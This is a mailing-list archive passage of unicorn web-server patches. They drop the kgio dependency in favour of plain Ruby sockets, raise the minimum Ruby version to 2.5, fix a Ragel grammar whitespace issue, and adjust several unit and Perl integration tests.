+++ b/lib/unicorn/oob_gc.rb
@@ -65,8 +65,8 @@ def self.new(app, interval = 5, path = %r{\A/})
end
#:stopdoc:
- def process_client(client)
- super(client) # Unicorn::HttpServer#process_client
+ def process_client(*args)
+ super(*args) # Unicorn::HttpServer#process_client
env = instance_variable_get(:@request).env
if OOBGC_PATH =~ env['PATH_INFO'] && ((@@nr -= 1) <= 0)
@@nr = OOBGC_INTERVAL
diff --git a/lib/unicorn/socket_helper.rb b/lib/unicorn/socket_helper.rb
index c2ba75e..06ec2b2 100644
--- a/lib/unicorn/socket_helper.rb
+++ b/lib/unicorn/socket_helper.rb
@@ -3,32 +3,6 @@
require 'socket'
module Unicorn
-
- # Instead of using a generic Kgio::Socket for everything,
- # tag TCP sockets so we can use TCP_INFO under Linux without
- # incurring extra syscalls for Unix domain sockets.
- # TODO: remove these when we remove kgio
- TCPClient = Class.new(Kgio::Socket) # :nodoc:
- class TCPSrv < Kgio::TCPServer # :nodoc:
- def kgio_tryaccept # :nodoc:
- super(TCPClient)
- end
- end
-
- if IO.instance_method(:write).arity == 1 # Ruby <= 2.4
- require 'unicorn/write_splat'
- UNIXClient = Class.new(Kgio::Socket) # :nodoc:
- class UNIXSrv < Kgio::UNIXServer # :nodoc:
- include Unicorn::WriteSplat
- def kgio_tryaccept # :nodoc:
- super(UNIXClient)
- end
- end
- TCPClient.__send__(:include, Unicorn::WriteSplat)
- else # Ruby 2.5+
- UNIXSrv = Kgio::UNIXServer
- end
-
module SocketHelper
# internal interface
@@ -105,7 +79,7 @@ def set_tcp_sockopt(sock, opt)
def set_server_sockopt(sock, opt)
opt = DEFAULTS.merge(opt || {})
- TCPSocket === sock and set_tcp_sockopt(sock, opt)
+ set_tcp_sockopt(sock, opt) if sock.local_address.ip?
rcvbuf, sndbuf = opt.values_at(:rcvbuf, :sndbuf)
if rcvbuf || sndbuf
@@ -149,7 +123,9 @@ def bind_listen(address = '0.0.0.0:8080', opt = {})
end
old_umask = File.umask(opt[:umask] || 0)
begin
- UNIXSrv.new(address)
+ s = Socket.new(:UNIX, :STREAM)
+ s.bind(Socket.sockaddr_un(address))
+ s
ensure
File.umask(old_umask)
end
@@ -177,8 +153,7 @@ def new_tcp_server(addr, port, opt)
sock.setsockopt(:SOL_SOCKET, :SO_REUSEPORT, 1)
end
sock.bind(Socket.pack_sockaddr_in(port, addr))
- sock.autoclose = false
- TCPSrv.for_fd(sock.fileno)
+ sock
end
# returns rfc2732-style (e.g. "[::1]:666") addresses for IPv6
@@ -194,10 +169,6 @@ def tcp_name(sock)
def sock_name(sock)
case sock
when String then sock
- when UNIXServer
- Socket.unpack_sockaddr_un(sock.getsockname)
- when TCPServer
- tcp_name(sock)
when Socket
begin
tcp_name(sock)
@@ -210,16 +181,5 @@ def sock_name(sock)
end
module_function :sock_name
-
- # casts a given Socket to be a TCPServer or UNIXServer
- def server_cast(sock)
- begin
- Socket.unpack_sockaddr_in(sock.getsockname)
- TCPSrv.for_fd(sock.fileno)
- rescue ArgumentError
- UNIXSrv.for_fd(sock.fileno)
- end
- end
-
end # module SocketHelper
end # module Unicorn
diff --git a/lib/unicorn/worker.rb b/lib/unicorn/worker.rb
index ad5814c..4af31be 100644
--- a/lib/unicorn/worker.rb
+++ b/lib/unicorn/worker.rb
@@ -71,8 +71,8 @@ def soft_kill(sig) # :nodoc:
end
# this only runs when the Rack app.call is not running
- # act like a listener
- def kgio_tryaccept # :nodoc:
+ # act like Socket#accept_nonblock(exception: false)
+ def accept_nonblock(*_unused) # :nodoc:
case buf = @to_io.read_nonblock(4, exception: false)
when String
# unpack the buffer and trigger the signal handler
@@ -82,7 +82,7 @@ def kgio_tryaccept # :nodoc:
when nil # EOF: master died, but we are at a safe place to exit
fake_sig(:QUIT)
when :wait_readable # keep waiting
- return false
+ return :wait_readable
end while true # loop, as multiple signals may be sent
end
diff --git a/t/oob_gc.ru b/t/oob_gc.ru
index c253540..224cb06 100644
--- a/t/oob_gc.ru
+++ b/t/oob_gc.ru
@@ -7,9 +7,6 @@
# Mock GC.start
def GC.start
- ObjectSpace.each_object(Kgio::Socket) do |x|
- x.closed? or abort "not closed #{x}"
- end
$gc_started = true
end
run lambda { |env|
diff --git a/t/oob_gc_path.ru b/t/oob_gc_path.ru
index af8e3b9..7f40601 100644
--- a/t/oob_gc_path.ru
+++ b/t/oob_gc_path.ru
@@ -7,9 +7,6 @@
# Mock GC.start
def GC.start
- ObjectSpace.each_object(Kgio::Socket) do |x|
- x.closed? or abort "not closed #{x}"
- end
$gc_started = true
end
run lambda { |env|
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
index 7f22b24..53ae944 100644
--- a/test/unit/test_request.rb
+++ b/test/unit/test_request.rb
@@ -10,14 +10,9 @@
class RequestTest < Test::Unit::TestCase
- class MockRequest < StringIO
- alias_method :readpartial, :sysread
- alias_method :kgio_read!, :sysread
- alias_method :read_nonblock, :sysread
- def kgio_addr
- '127.0.0.1'
- end
- end
+ MockRequest = Class.new(StringIO)
+
+ AI = Addrinfo.new(Socket.sockaddr_un('/unicorn/sucks'))
def setup
@request = HttpRequest.new
@@ -30,7 +25,7 @@ def setup
def test_options
client = MockRequest.new("OPTIONS * HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal '', env['REQUEST_PATH']
assert_equal '', env['PATH_INFO']
assert_equal '*', env['REQUEST_URI']
@@ -40,7 +35,7 @@ def test_options
def test_absolute_uri_with_query
client = MockRequest.new("GET http://e:3/x?y=z HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal '/x', env['REQUEST_PATH']
assert_equal '/x', env['PATH_INFO']
assert_equal 'y=z', env['QUERY_STRING']
@@ -50,7 +45,7 @@ def test_absolute_uri_with_query
def test_absolute_uri_with_fragment
client = MockRequest.new("GET http://e:3/x#frag HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal '/x', env['REQUEST_PATH']
assert_equal '/x', env['PATH_INFO']
assert_equal '', env['QUERY_STRING']
@@ -61,7 +56,7 @@ def test_absolute_uri_with_fragment
def test_absolute_uri_with_query_and_fragment
client = MockRequest.new("GET http://e:3/x?a=b#frag HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal '/x', env['REQUEST_PATH']
assert_equal '/x', env['PATH_INFO']
assert_equal 'a=b', env['QUERY_STRING']
@@ -73,7 +68,7 @@ def test_absolute_uri_unsupported_schemes
%w(ssh+http://e/ ftp://e/x http+ssh://e/x).each do |abs_uri|
client = MockRequest.new("GET #{abs_uri} HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- assert_raises(HttpParserError) { @request.read(client) }
+ assert_raises(HttpParserError) { @request.read_headers(client, AI) }
end
end
@@ -81,7 +76,7 @@ def test_x_forwarded_proto_https
client = MockRequest.new("GET / HTTP/1.1\r\n" \
"X-Forwarded-Proto: https\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal "https", env['rack.url_scheme']
assert_kind_of Array, @lint.call(env)
end
@@ -90,7 +85,7 @@ def test_x_forwarded_proto_http
client = MockRequest.new("GET / HTTP/1.1\r\n" \
"X-Forwarded-Proto: http\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal "http", env['rack.url_scheme']
assert_kind_of Array, @lint.call(env)
end
@@ -99,14 +94,14 @@ def test_x_forwarded_proto_invalid
client = MockRequest.new("GET / HTTP/1.1\r\n" \
"X-Forwarded-Proto: ftp\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal "http", env['rack.url_scheme']
assert_kind_of Array, @lint.call(env)
end
def test_rack_lint_get
client = MockRequest.new("GET / HTTP/1.1\r\nHost: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal "http", env['rack.url_scheme']
assert_equal '127.0.0.1', env['REMOTE_ADDR']
assert_kind_of Array, @lint.call(env)
@@ -114,7 +109,7 @@ def test_rack_lint_get
def test_no_content_stringio
client = MockRequest.new("GET / HTTP/1.1\r\nHost: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal StringIO, env['rack.input'].class
end
@@ -122,7 +117,7 @@ def test_zero_content_stringio
client = MockRequest.new("PUT / HTTP/1.1\r\n" \
"Content-Length: 0\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal StringIO, env['rack.input'].class
end
@@ -130,7 +125,7 @@ def test_real_content_not_stringio
client = MockRequest.new("PUT / HTTP/1.1\r\n" \
"Content-Length: 1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal Unicorn::TeeInput, env['rack.input'].class
end
@@ -141,7 +136,7 @@ def test_rack_lint_put
"Content-Length: 5\r\n" \
"\r\n" \
"abcde")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert ! env.include?(:http_body)
assert_kind_of Array, @lint.call(env)
end
@@ -152,14 +147,6 @@ def test_rack_lint_big_put
buf = (' ' * bs).freeze
length = bs * count
client = Tempfile.new('big_put')
- def client.kgio_addr; '127.0.0.1'; end
- def client.kgio_read(*args)
- readpartial(*args)
- rescue EOFError
- end
- def client.kgio_read!(*args)
- readpartial(*args)
- end
client.syswrite(
"PUT / HTTP/1.1\r\n" \
"Host: foo\r\n" \
@@ -167,7 +154,7 @@ def client.kgio_read!(*args)
"\r\n")
count.times { assert_equal bs, client.syswrite(buf) }
assert_equal 0, client.sysseek(0)
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert ! env.include?(:http_body)
assert_equal length, env['rack.input'].size
count.times {
diff --git a/test/unit/test_socket_helper.rb b/test/unit/test_socket_helper.rb
index 62d5a3a..a446f06 100644
--- a/test/unit/test_socket_helper.rb
+++ b/test/unit/test_socket_helper.rb
@@ -24,7 +24,8 @@ def test_bind_listen_tcp
port = unused_port @test_addr
@tcp_listener_name = "#@test_addr:#{port}"
@tcp_listener = bind_listen(@tcp_listener_name)
- assert TCPServer === @tcp_listener
+ assert Socket === @tcp_listener
+ assert @tcp_listener.local_address.ip?
assert_equal @tcp_listener_name, sock_name(@tcp_listener)
end
@@ -38,10 +39,10 @@ def test_bind_listen_options
{ :backlog => 16, :rcvbuf => 4096, :sndbuf => 4096 }
].each do |opts|
tcp_listener = bind_listen(tcp_listener_name, opts)
- assert TCPServer === tcp_listener
+ assert tcp_listener.local_address.ip?
tcp_listener.close
unix_listener = bind_listen(unix_listener_name, opts)
- assert UNIXServer === unix_listener
+ assert unix_listener.local_address.unix?
unix_listener.close
end
end
@@ -52,11 +53,13 @@ def test_bind_listen_unix
@unix_listener_path = tmp.path
File.unlink(@unix_listener_path)
@unix_listener = bind_listen(@unix_listener_path)
- assert UNIXServer === @unix_listener
+ assert Socket === @unix_listener
+ assert @unix_listener.local_address.unix?
assert_equal @unix_listener_path, sock_name(@unix_listener)
assert File.readable?(@unix_listener_path), "not readable"
assert File.writable?(@unix_listener_path), "not writable"
assert_equal 0777, File.umask
+ assert_equal @unix_listener, bind_listen(@unix_listener)
ensure
File.umask(old_umask)
end
@@ -67,7 +70,6 @@ def test_bind_listen_unix_umask
@unix_listener_path = tmp.path
File.unlink(@unix_listener_path)
@unix_listener = bind_listen(@unix_listener_path, :umask => 077)
- assert UNIXServer === @unix_listener
assert_equal @unix_listener_path, sock_name(@unix_listener)
assert_equal 0140700, File.stat(@unix_listener_path).mode
assert_equal 0777, File.umask
@@ -75,28 +77,6 @@ def test_bind_listen_unix_umask
File.umask(old_umask)
end
- def test_bind_listen_unix_idempotent
- test_bind_listen_unix
- a = bind_listen(@unix_listener)
- assert_equal a.fileno, @unix_listener.fileno
- unix_server = server_cast(@unix_listener)
- assert UNIXServer === unix_server
- a = bind_listen(unix_server)
- assert_equal a.fileno, unix_server.fileno
- assert_equal a.fileno, @unix_listener.fileno
- end
-
- def test_bind_listen_tcp_idempotent
- test_bind_listen_tcp
- a = bind_listen(@tcp_listener)
- assert_equal a.fileno, @tcp_listener.fileno
- tcp_server = server_cast(@tcp_listener)
- assert TCPServer === tcp_server
- a = bind_listen(tcp_server)
- assert_equal a.fileno, tcp_server.fileno
- assert_equal a.fileno, @tcp_listener.fileno
- end
-
def test_bind_listen_unix_rebind
test_bind_listen_unix
new_listener = nil
@@ -107,14 +87,18 @@ def test_bind_listen_unix_rebind
File.unlink(@unix_listener_path)
new_listener = bind_listen(@unix_listener_path)
- assert UNIXServer === new_listener
assert new_listener.fileno != @unix_listener.fileno
assert_equal sock_name(new_listener), sock_name(@unix_listener)
assert_equal @unix_listener_path, sock_name(new_listener)
pid = fork do
- client = server_cast(new_listener).accept
- client.syswrite('abcde')
- exit 0
+ begin
+ client, _ = new_listener.accept
+ client.syswrite('abcde')
+ exit 0
+ rescue => e
+ warn "#{e.message} (#{e.class})"
+ exit 1
+ end
end
s = unix_socket(@unix_listener_path)
IO.select([s])
@@ -123,32 +107,6 @@ def test_bind_listen_unix_rebind
assert status.success?
end
- def test_server_cast
- test_bind_listen_unix
- test_bind_listen_tcp
- unix_listener_socket = Socket.for_fd(@unix_listener.fileno)
- assert Socket === unix_listener_socket
- @unix_server = server_cast(unix_listener_socket)
- assert_equal @unix_listener.fileno, @unix_server.fileno
- assert UNIXServer === @unix_server
- assert_equal(@unix_server.path, @unix_listener.path,
- "##{@unix_server.path} != #{@unix_listener.path}")
- assert File.socket?(@unix_server.path)
- assert_equal @unix_listener_path, sock_name(@unix_server)
-
- tcp_listener_socket = Socket.for_fd(@tcp_listener.fileno)
- assert Socket === tcp_listener_socket
- @tcp_server = server_cast(tcp_listener_socket)
- assert_equal @tcp_listener.fileno, @tcp_server.fileno
- assert TCPServer === @tcp_server
- assert_equal @tcp_listener_name, sock_name(@tcp_server)
- end
-
- def test_sock_name
- test_server_cast
- sock_name(@unix_server)
- end
-
def test_tcp_defer_accept_default
return unless defined?(TCP_DEFER_ACCEPT)
port = unused_port @test_addr
diff --git a/test/unit/test_stream_input.rb b/test/unit/test_stream_input.rb
index 2a14135..7986ca7 100644
--- a/test/unit/test_stream_input.rb
+++ b/test/unit/test_stream_input.rb
@@ -9,7 +9,7 @@ def setup
@rs = "\n"
$/ == "\n" or abort %q{test broken if \$/ != "\\n"}
@env = {}
- @rd, @wr = Kgio::UNIXSocket.pair
+ @rd, @wr = UNIXSocket.pair
@rd.sync = @wr.sync = true
@start_pid = $$
end
diff --git a/test/unit/test_tee_input.rb b/test/unit/test_tee_input.rb
index 6f5bc8a..607ce87 100644
--- a/test/unit/test_tee_input.rb
+++ b/test/unit/test_tee_input.rb
@@ -10,7 +10,7 @@ class TeeInput < Unicorn::TeeInput
class TestTeeInput < Test::Unit::TestCase
def setup
- @rd, @wr = Kgio::UNIXSocket.pair
+ @rd, @wr = UNIXSocket.pair
@rd.sync = @wr.sync = true
@start_pid = $$
@rs = "\n"
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 7bb1154..85183d9 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -36,7 +36,6 @@
# won't have descriptive text, only the numeric status.
s.add_development_dependency(%q<rack>)
- s.add_dependency(%q<kgio>, '~> 2.6')
s.add_dependency(%q<raindrops>, '~> 0.7')
s.add_development_dependency('test-unit', '~> 3.0')
[-- Attachment #4: 0003-update-dependency-to-Ruby-2.5.patch --]
[-- Type: text/x-diff, Size: 3257 bytes --]
From c67ebf96edc8ca691dfc556d4813fed242fe77ca Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Tue, 5 Sep 2023 09:14:11 +0000
Subject: [RFC 3/3] update dependency to Ruby 2.5+
We actually need Ruby 2.3+ for `accept_nonblock(exception: false)';
and (AFAIK) we can't easily use a subclass of `Socket' while using
Socket#accept_nonblock to inject WriteSplat support for
`IO#write(*multi_args)'
So just depend on Ruby 2.5+ since all my Ruby is already on the
already-ancient Ruby 2.7+ anyways.
---
HACKING | 2 +-
README | 2 +-
lib/unicorn/write_splat.rb | 7 -------
t/README | 2 +-
unicorn.gemspec | 4 ++--
5 files changed, 5 insertions(+), 12 deletions(-)
delete mode 100644 lib/unicorn/write_splat.rb
diff --git a/HACKING b/HACKING
index 020209e..5aca83e 100644
--- a/HACKING
+++ b/HACKING
@@ -60,7 +60,7 @@ becomes unavailable.
=== Ruby/C Compatibility
-We target C Ruby 2.0 and later. We need the Ruby
+We target C Ruby 2.5 and later. We need the Ruby
implementation to support fork, exec, pipe, UNIX signals, access to
integer file descriptors and ability to use unlinked files.
diff --git a/README b/README
index 5411003..7e29daf 100644
--- a/README
+++ b/README
@@ -12,7 +12,7 @@ both the the request and response in between unicorn and slow clients.
cut out everything that is better supported by the operating system,
{nginx}[https://nginx.org/] or {Rack}[https://rack.github.io/].
-* Compatible with Ruby 2.0.0 and later.
+* Compatible with Ruby 2.5 and later.
* Process management: unicorn will reap and restart workers that
die from broken apps. There is no need to manage multiple processes
diff --git a/lib/unicorn/write_splat.rb b/lib/unicorn/write_splat.rb
deleted file mode 100644
index 7e6e363..0000000
--- a/lib/unicorn/write_splat.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# -*- encoding: binary -*-
-# compatibility module for Ruby <= 2.4, remove when we go Ruby 2.5+
-module Unicorn::WriteSplat # :nodoc:
- def write(*arg) # :nodoc:
- super(arg.join(''))
- end
-end
diff --git a/t/README b/t/README
index d09c715..7bd093d 100644
--- a/t/README
+++ b/t/README
@@ -14,7 +14,7 @@ Old tests are in Bourne shell and slowly being ported to Perl 5.
== Requirements
-* {Ruby 2.0.0+}[https://www.ruby-lang.org/en/]
+* {Ruby 2.5.0+}[https://www.ruby-lang.org/en/]
* {Perl 5.14+}[https://www.perl.org/] # your distro should have it
* {GNU make}[https://www.gnu.org/software/make/]
* {curl}[https://curl.haxx.se/]
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 85183d9..e7e3ef7 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -25,11 +25,11 @@
s.homepage = 'https://yhbt.net/unicorn/'
s.test_files = test_files
- # 2.0.0 is the minimum supported version. We don't specify
+ # 2.5.0 is the minimum supported version. We don't specify
# a maximum version to make it easier to test pre-releases,
# but we do warn users if they install unicorn on an untested
# version in extconf.rb
- s.required_ruby_version = ">= 2.0.0"
+ s.required_ruby_version = ">= 2.5.0"
# We do not have a hard dependency on rack, it's possible to load
# things which respond to #call. HTTP status lines in responses
^ permalink raw reply related [relevance 4%]
* [PATCH] unicorn_http_common.rl: use only ASCII spaces for compatibility
@ 2023-06-20 10:46 3% EW
0 siblings, 0 replies; 200+ results
From: EW @ 2023-06-20 10:46 UTC (permalink / raw)
To: unicorn-public
Ragel 6.10 on FreeBSD 12.4 amd64 complains and fails on this, yet the same
Ragel version on Debian 11.x i386 and amd64 never has. I suspect this can
fix compatibility on s390x, arm64, armel, and armhf Debian builds:
https://buildd.debian.org/status/fetch.php?pkg=unicorn&arch=s390x&ver=6.1.0-1&stamp=1687156375&file=log
https://buildd.debian.org/status/fetch.php?pkg=unicorn&arch=arm64&ver=6.1.0-1&stamp=1687156478&file=log
https://buildd.debian.org/status/fetch.php?pkg=unicorn&arch=armel&ver=6.1.0-1&stamp=1687156619&file=log
https://buildd.debian.org/status/fetch.php?pkg=unicorn&arch=armhf&ver=6.1.0-1&stamp=1687156807&file=log
Fixes: d5fbbf547203061b (Add some tolerance (RFC2616 sec. 19.3), 2016-10-20)
---
ext/unicorn_http/unicorn_http_common.rl | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/ext/unicorn_http/unicorn_http_common.rl b/ext/unicorn_http/unicorn_http_common.rl
index 0988b54..507e570 100644
--- a/ext/unicorn_http/unicorn_http_common.rl
+++ b/ext/unicorn_http/unicorn_http_common.rl
@@ -4,7 +4,7 @@
#### HTTP PROTOCOL GRAMMAR
# line endings
- CRLF = ("\r\n" | "\n");
+ CRLF = ("\r\n" | "\n");
# character types
CTL = (cntrl | 127);
^ permalink raw reply related [relevance 3%]
* [PATCH 1-4/4] various test fixes
@ 2023-06-11 22:58 5% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2023-06-11 22:58 UTC (permalink / raw)
To: unicorn-public
[-- Attachment #1: Type: text/plain, Size: 43 bytes --]
> Attached patches to reduce SMTP
Oops :x
[-- Attachment #2: 0001-t-lib.perl-ignore-errors-from-accept_filter-on-FreeB.patch --]
[-- Type: text/x-diff, Size: 899 bytes --]
From 8271bafb85f75b927f0ea15ec73fc0b1e714665e Mon Sep 17 00:00:00 2001
From: EW <bofh@yhbt.net>
Date: Tue, 6 Jun 2023 10:09:24 +0000
Subject: [PATCH 1/4] t/lib.perl: FreeBSD: ignore accf_* messages
Testers may not have accf_http loaded nor the permissions
to run `kldload accf_http', thus we must ignore these messages.
---
t/lib.perl | 2 ++
1 file changed, 2 insertions(+)
diff --git a/t/lib.perl b/t/lib.perl
index 2685c3b4..fe3404ba 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -22,6 +22,8 @@ sub check_stderr () {
my @log = slurp("$tmpdir/err.log");
diag("@log") if $ENV{V};
my @err = grep(!/NameError.*Unicorn::Waiter/, grep(/error/i, @log));
+ @err = grep(!/failed to set accept_filter=/, @err);
+ @err = grep(!/perhaps accf_.*? needs to be loaded/, @err);
is_deeply(\@err, [], 'no unexpected errors in stderr');
is_deeply([grep(/SIGKILL/, @log)], [], 'no SIGKILL in stderr');
}
[-- Attachment #3: 0002-t-active-unix-socket-sleep-for-init-8-to-reap-worker.patch --]
[-- Type: text/x-diff, Size: 1012 bytes --]
From a29364769d59e7bc0c67ad045af25f349ae913e8 Mon Sep 17 00:00:00 2001
From: EW <bofh@yhbt.net>
Date: Tue, 6 Jun 2023 10:09:25 +0000
Subject: [PATCH 2/4] t/active-unix-socket: sleep for init(8) to reap worker
Unfortunately, we need a sleep loop here since kill(2) succeeds
on zombies and init(8) doesn't reap the worker soon enough on
a FreeBSD VM.
---
t/active-unix-socket.t | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/t/active-unix-socket.t b/t/active-unix-socket.t
index 4e11837a..4dcc8dc6 100644
--- a/t/active-unix-socket.t
+++ b/t/active-unix-socket.t
@@ -84,6 +84,10 @@ is($pidf, $to_kill{u1}, 'pid file contents unchanged after 2nd start failure');
ok(-S $u1, 'socket stayed after SIGKILL');
is(IO::Socket::UNIX->new(Peer => $u1, Type => SOCK_STREAM), undef,
'fail to connect to u1');
+ for (1..50) { # wait for init process to reap worker
+ kill(0, $worker_pid) or last;
+ select(undef, undef, undef, 0.011);
+ }
ok(!kill(0, $worker_pid), 'worker gone after parent dies');
}
[-- Attachment #4: 0003-tests-handle-assignment-deprecation.patch --]
[-- Type: text/x-diff, Size: 4710 bytes --]
From b988e0779814a73876a4a06df0a90a3f85fb08c8 Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Tue, 6 Jun 2023 11:02:29 +0000
Subject: [PATCH 3/4] tests: handle $/ assignment deprecation
...by testing less. `env["rack.input"].gets' users are out-of-luck
if they want anything other than "\n" or `nil', I suppose...
`$/' is non-thread-local and thus non-thread-safe, which doesn't
affect unicorn itself, but Ruby deprecates it for
single-threaded code, too, unfortunately.
Rack::Lint doesn't allow separator arguments for #gets, either,
so we can't support that, either...
---
test/unit/test_stream_input.rb | 25 ++++++++++++++++---------
test/unit/test_tee_input.rb | 19 +++++++++----------
2 files changed, 25 insertions(+), 19 deletions(-)
diff --git a/test/unit/test_stream_input.rb b/test/unit/test_stream_input.rb
index 1a07ec3a..2a14135b 100644
--- a/test/unit/test_stream_input.rb
+++ b/test/unit/test_stream_input.rb
@@ -6,7 +6,8 @@
class TestStreamInput < Test::Unit::TestCase
def setup
- @rs = $/
+ @rs = "\n"
+ $/ == "\n" or abort %q{test broken if \$/ != "\\n"}
@env = {}
@rd, @wr = Kgio::UNIXSocket.pair
@rd.sync = @wr.sync = true
@@ -15,7 +16,6 @@ def setup
def teardown
return if $$ != @start_pid
- $/ = @rs
@rd.close rescue nil
@wr.close rescue nil
Process.waitall
@@ -54,11 +54,18 @@ def test_gets_multiline
end
def test_gets_empty_rs
- $/ = nil
r = init_request("a\nb\n\n")
si = Unicorn::StreamInput.new(@rd, r)
- assert_equal "a\nb\n\n", si.gets
- assert_nil si.gets
+ pid = fork do # to avoid $/ warning (hopefully)
+ $/ = nil
+ @rd.close
+ @wr.write(si.gets)
+ @wr.close
+ end
+ @wr.close
+ assert_equal "a\nb\n\n", @rd.read
+ pid, status = Process.waitpid2(pid)
+ assert_predicate status, :success?
end
def test_read_with_equal_len
@@ -90,21 +97,21 @@ def test_big_body_multi
end
def test_gets_long
- r = init_request("hello", 5 + (4096 * 4 * 3) + "#$/foo#$/".size)
+ r = init_request("hello", 5 + (4096 * 4 * 3) + "#{@rs}foo#{@rs}".size)
si = Unicorn::StreamInput.new(@rd, r)
status = line = nil
pid = fork {
@rd.close
3.times { @wr.write("ffff" * 4096) }
- @wr.write "#$/foo#$/"
+ @wr.write "#{@rs}foo#{@rs}"
@wr.close
}
@wr.close
line = si.gets
assert_equal(4096 * 4 * 3 + 5 + $/.size, line.size)
- assert_equal("hello" << ("ffff" * 4096 * 3) << "#$/", line)
+ assert_equal("hello" << ("ffff" * 4096 * 3) << "#{@rs}", line)
line = si.gets
- assert_equal "foo#$/", line
+ assert_equal "foo#{@rs}", line
assert_nil si.gets
pid, status = Process.waitpid2(pid)
assert status.success?
diff --git a/test/unit/test_tee_input.rb b/test/unit/test_tee_input.rb
index 4647e661..6f5bc8a7 100644
--- a/test/unit/test_tee_input.rb
+++ b/test/unit/test_tee_input.rb
@@ -9,17 +9,16 @@ class TeeInput < Unicorn::TeeInput
end
class TestTeeInput < Test::Unit::TestCase
-
def setup
- @rs = $/
@rd, @wr = Kgio::UNIXSocket.pair
@rd.sync = @wr.sync = true
@start_pid = $$
+ @rs = "\n"
+ $/ == "\n" or abort %q{test broken if \$/ != "\\n"}
end
def teardown
return if $$ != @start_pid
- $/ = @rs
@rd.close rescue nil
@wr.close rescue nil
begin
@@ -37,38 +36,38 @@ def check_tempfiles
end
def test_gets_long
- r = init_request("hello", 5 + (4096 * 4 * 3) + "#$/foo#$/".size)
+ r = init_request("hello", 5 + (4096 * 4 * 3) + "#{@rs}foo#{@rs}".size)
ti = TeeInput.new(@rd, r)
status = line = nil
pid = fork {
@rd.close
3.times { @wr.write("ffff" * 4096) }
- @wr.write "#$/foo#$/"
+ @wr.write "#{@rs}foo#{@rs}"
@wr.close
}
@wr.close
line = ti.gets
assert_equal(4096 * 4 * 3 + 5 + $/.size, line.size)
- assert_equal("hello" << ("ffff" * 4096 * 3) << "#$/", line)
+ assert_equal("hello" << ("ffff" * 4096 * 3) << "#{@rs}", line)
line = ti.gets
- assert_equal "foo#$/", line
+ assert_equal "foo#{@rs}", line
assert_nil ti.gets
pid, status = Process.waitpid2(pid)
assert status.success?
end
def test_gets_short
- r = init_request("hello", 5 + "#$/foo".size)
+ r = init_request("hello", 5 + "#{@rs}foo".size)
ti = TeeInput.new(@rd, r)
status = line = nil
pid = fork {
@rd.close
- @wr.write "#$/foo"
+ @wr.write "#{@rs}foo"
@wr.close
}
@wr.close
line = ti.gets
- assert_equal("hello#$/", line)
+ assert_equal("hello#{@rs}", line)
line = ti.gets
assert_equal "foo", line
assert_nil ti.gets
[-- Attachment #5: 0004-tests-ensure-t-random_blob-exists-before-Perl-tests.patch --]
[-- Type: text/x-diff, Size: 887 bytes --]
From 42028bf5b0327f7e8816ef294d215ae6bb085fc6 Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Tue, 6 Jun 2023 11:44:29 +0000
Subject: [PATCH 4/4] tests: ensure t/random_blob exists before Perl tests
Allow overriding `PROVE=' while we're at it, too; since
development installations of Perl5 may name it `prove5.$MINOR'
or similar.
---
GNUmakefile | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)
diff --git a/GNUmakefile b/GNUmakefile
index eab90829..70e7e108 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -11,6 +11,7 @@ RSYNC = rsync
OLDDOC = olddoc
RDOC = rdoc
INSTALL = install
+PROVE = prove
GIT-VERSION-FILE: .FORCE-GIT-VERSION-FILE
@./GIT-VERSION-GEN
@@ -141,8 +142,8 @@ t/random_blob:
test-integration: $(T_sh)
-test-prove:
- prove -vw
+test-prove: t/random_blob
+ $(PROVE) -vw
check: test-require test test-integration
test-all: check
^ permalink raw reply related [relevance 5%]
* [PATCH 00-23/23] start porting tests to Perl5
@ 2023-06-05 10:32 1% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2023-06-05 10:32 UTC (permalink / raw)
To: unicorn-public
[-- Attachment #1: Type: text/plain, Size: 4179 bytes --]
Still a lot more work to do, but at least socat is no longer a
test dependency. Perl5 is installed on far more systems than
socat.
Ruby introduces breaking changes every year and I can't trust
tests to work as they were originally intended, anymore.
Perl 5 doesn't have perfect backwards compatibility, either; but
it's the least bad of any widely-installed scripting language.
Note: that 23/23 introduces a subtle bugfix which changes
behavior for systemd users
Patches are attached to reduce load on SMTP servers.
Some more patches to come as I deal with Ruby 3.x deprecation
warnings :<
Eric Wong (23):
switch unit/test_response.rb to Perl 5 integration test
support rack 3 multi-value headers
port t0018-write-on-close.sh to Perl 5
port t0000-http-basic.sh to Perl 5
